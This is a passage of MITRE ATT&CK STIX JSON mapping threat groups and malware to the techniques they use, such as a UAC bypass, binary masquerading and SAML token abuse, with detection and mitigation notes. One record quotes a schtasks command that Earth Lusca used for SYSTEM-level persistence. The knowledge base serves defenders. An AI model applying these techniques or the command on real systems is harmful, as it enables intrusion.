2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"tool--242f3da3-4425-4d11-8f5c-b842886da966","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ed5bd9a-3f94-4ed0-94fb-0d3b93bc984e","type":"relationship","created":"2020-09-23T15:18:36.542Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.339Z","description":"[MiniDuke](https://attack.mitre.org/software/S0051) can enumerate local drives.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ed9bcbc-4a4b-41ae-8064-48a5c5efb34b","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6edbc35f-fc02-43ba-84d2-17ff8100f094","type":"relationship","created":"2020-07-23T14:20:48.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-08-19T16:31:40.703Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) has been packaged with a legitimate tax preparation software.(Citation: Trustwave GoldenSpy June 2020)","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6edd6f1b-3907-4013-b2e0-ceb03ccf427a","type":"relationship","created":"2021-02-08T23:18:31.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-04-20T02:41:22.128Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can use the tokens of users to create processes on infected systems.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ee02f06-6250-4c75-b20f-c3271442f59e","type":"relationship","created":"2019-06-05T21:30:37.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ProofPoint Ursnif Aug 2016","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality","description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.899Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used crypto key information stored in the Registry to decrypt Tor clients dropped to disk.(Citation: ProofPoint Ursnif Aug 2016)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6ee04a90-7158-43a6-8133-9b498f1fef2c","created":"2022-04-15T17:19:18.492Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can allow abuse of a compromised AD FS server's SAML token.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-15T17:19:18.492Z","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ee0cf67-d033-4620-b0c6-29b7a7d6592d","created":"2023-04-03T22:51:59.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"},{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T21:20:09.764Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has collected emails from targeted mailboxes within a compromised Azure AD tenant and compromised Exchange servers, including via Exchange Web Services (EWS) API requests.(Citation: Mandiant APT29 Microsoft 365 2022)(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ee38990-50e9-423d-aea8-c3c16cf98ca4","type":"relationship","created":"2020-05-08T18:41:16.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas December 2014","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."},{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."},{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."},{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:43.919Z","description":"[Inception](https://attack.mitre.org/groups/G0100) lured victims into clicking malicious files for machine reconnaissance and to execute malware.(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Kaspersky Cloud Atlas August 2019)(Citation: Symantec Inception Framework March 2018)(Citation: Unit 42 Inception November 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6eec2d79-1d59-459d-af33-b186ece9748b","created":"2019-07-17T20:18:11.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T13:04:58.235Z","description":"Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. Cloud service providers support IP-based restrictions when accessing cloud resources. Consider using IP allowlisting along with user account management to ensure that data access is restricted not only to valid users but only from expected IP ranges to mitigate the use of stolen credentials to access data.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ef0dcc3-19d3-42be-b842-942790e4a07f","created":"2024-02-22T21:39:00.691Z","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T21:39:00.691Z","description":"(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--9a2640c2-9f43-46fe-b13f-bde881e55555","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ef55051-c152-4491-a881-31ff98fb773e","created":"2021-03-11T16:37:06.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.137Z","description":"[Penquin](https://attack.mitre.org/software/S0587) has mimicked the Cron binary to hide itself on compromised systems.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ef89fa5-cd74-499b-bbc0-3b0d83baeba1","created":"2022-09-02T20:35:38.404Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T20:35:38.404Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used [Tasklist](https://attack.mitre.org/software/S0057) to obtain information from a compromised host.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6efcb476-efdb-414c-80f8-66fe84f7c7e3","type":"relationship","created":"2021-08-23T19:38:33.519Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-08-23T19:38:33.519Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) bypasses UAC using the CMSTPLUA COM interface.(Citation: Arxiv Avaddon Feb 2021) ","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6f01abdc-bd94-4645-afed-8d3bd365bba4","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyZBot](https://attack.mitre.org/software/S0004) contains screen capture functionality.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f037ffb-3e85-41d0-8c48-ae36d0996d57","type":"relationship","created":"2022-02-04T22:03:05.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"modified":"2022-02-04T22:03:05.848Z","description":"[Lizar](https://attack.mitre.org/software/S0681) can collect the username from the system.(Citation: BiZone Lizar May 2021) ","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6f050b2e-7596-4fdf-b7b1-1234969c4de9","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T22:22:01.836Z","description":"Monitor for API calls (such as RegOpenKeyExA) that may interact with the Windows Registry to gather information about the system, configuration, and installed software. OS API calls associated with querying the Windows Registry are RegOpenKeyEx , RegOpenUserClassesRoot, RegQueryValueExA, and RegQueryValueExW. Execution of these functions might trigger security log ids such as 4663 (Microsoft Security Auditing). Also monitor for RegOpenUserClassesRoot api to retrieve a handle to the HKEY_CLASSES_ROOT key for a specified user. The returned key has a view of the registry that merges the contents of the HKEY_LOCAL_MACHINE\\Software\\Classes key with the contents of the Software\\Classes keys in the user's registry hive.\n\nNote: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls.","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6f05eb5c-0916-40f2-8012-368d42c1a1d2","created":"2023-03-13T13:28:08.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft BEC Campaign","description":"Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.","url":"https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"},{"source_name":"Microsoft Manage Mail Flow Rules 2023","description":"Microsoft. (2023, February 22). Manage mail flow rules in Exchange Online. Retrieved March 13, 2023.","url":"https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/manage-mail-flow-rules"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T13:35:59.404Z","description":"On Windows systems, monitor for creation of suspicious inbox rules through the use of the `New-InboxRule`, `Set-InboxRule`, `New-TransportRule`, and `Set-TransportRule` PowerShell cmdlets.(Citation: Microsoft BEC Campaign)(Citation: Microsoft Manage Mail Flow Rules 2023)","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f0b6cfd-ebe2-46f3-9be1-0075237dbcb9","type":"relationship","created":"2020-03-17T23:17:09.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"}],"modified":"2020-06-26T17:02:14.327Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used hidden or non-printing characters to help masquerade service names, such as appending a Unicode no-break space character to a legitimate service name. [APT32](https://attack.mitre.org/groups/G0050) has also impersonated the legitimate Flash installer file name \"install_flashplayer.exe\".(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6f145407-cd6b-4e96-957f-a74cd6c84c52","created":"2024-09-19T14:33:04.202Z","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:33:04.202Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) uses the last 64 bytes of the binary to compute a mutex name. If the generated name is invalid, it will default to the generic `mymutex`.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6f1c0538-c9f4-49ad-b934-0714b50c1c45","created":"2022-07-18T18:55:15.056Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) used the command schtasks /Create /SC ONLOgon /TN WindowsUpdateCheck /TR “[file path]” /ru system for persistence.(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-18T18:55:15.056Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6f1ea286-593c-4255-9ea8-708e04184987","created":"2021-11-24T20:17:35.668Z","x_mitre_version":"1.0","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used VBScript to execute malicious code.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T19:15:44.627Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f1f4c7b-dc86-44e3-9ff2-ea9451ea90ee","type":"relationship","created":"2020-03-11T21:01:01.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2022-03-08T19:31:22.870Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. (Citation: University of Birmingham C2)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f201842-1ce8-459f-a7a7-a81d6e7950a9","type":"relationship","created":"2021-03-01T14:07:36.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-02T18:15:56.542Z","description":"[LookBack](https://attack.mitre.org/software/S0582) has a C2 proxy tool that masquerades as GUP.exe, which is software used by Notepad++.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6f23e808-aa3b-4ad8-b932-e294c8921fdb","created":"2022-08-18T17:10:42.968Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Google EXOTIC LILY March 2022","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T14:58:53.994Z","description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has relied on victims to open malicious links in e-mails for execution.(Citation: Google EXOTIC LILY March 2022)","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6f2f2822-6858-4c8c-9d33-62d2ee17f1af","created":"2024-07-29T22:38:25.784Z","revoked":false,"external_references":[{"source_name":"SentinelOne WinterVivern 2023","description":"Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.","url":"https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:38:25.784Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) has distributed malicious scripts and executables mimicking virus scanners.(Citation: SentinelOne WinterVivern 